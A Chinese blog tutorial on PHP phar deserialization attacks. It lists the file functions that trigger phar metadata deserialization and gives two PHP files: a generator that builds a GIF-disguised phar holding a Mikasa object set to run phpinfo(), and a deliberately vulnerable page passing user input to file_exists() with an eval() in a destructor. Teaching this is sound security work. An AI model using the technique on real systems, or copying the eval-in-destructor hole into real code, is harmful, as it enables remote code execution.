反序列化(二) (略详细)
前文讲了讲__wakeup绕过,注入对象构造方法,和session反序列化。
链接为:
https://blog.csdn.net/qq975353472/article/details/109657666
这里就讲讲剩下的两种,一个是phar反序列化(推荐先去学习phar用法),和pop链构造(重点哦)
一、Phar反序列化(个人感觉漏洞类型是文件包含+文件上传)
影响函数
fileatime / filectime / filemtime
stat / fileinode / fileowner / filegroup / fileperms
file / file_get_contents / readfile / fopen
file_exists / is_dir / is_executable / is_file / is_link / is_readable / is_writeable / is_writable
parse_ini_file
unlink
实例
index8.php
<?php
class Mikasa{
public $data = "whoami";
public function __destruct(){
eval($this->data);
}
}
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("Gif89a<?php __HALT_COMPILER();?>");
$QAQ = new Mikasa();
$QAQ->data = "phpinfo()";
$phar->setMetadata($QAQ);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();
index7.php
<?php
$a = $_GET['a'];
class Mikasa{
public $data = "whoami";
function __destruct(){
eval($this->data);
}
}
file_exists($a);
无论是否更改生成的phar文件的后缀,都可以执行,并达到反序列化的效果(这里我是把生成的phar.phar,更改为phar.txt)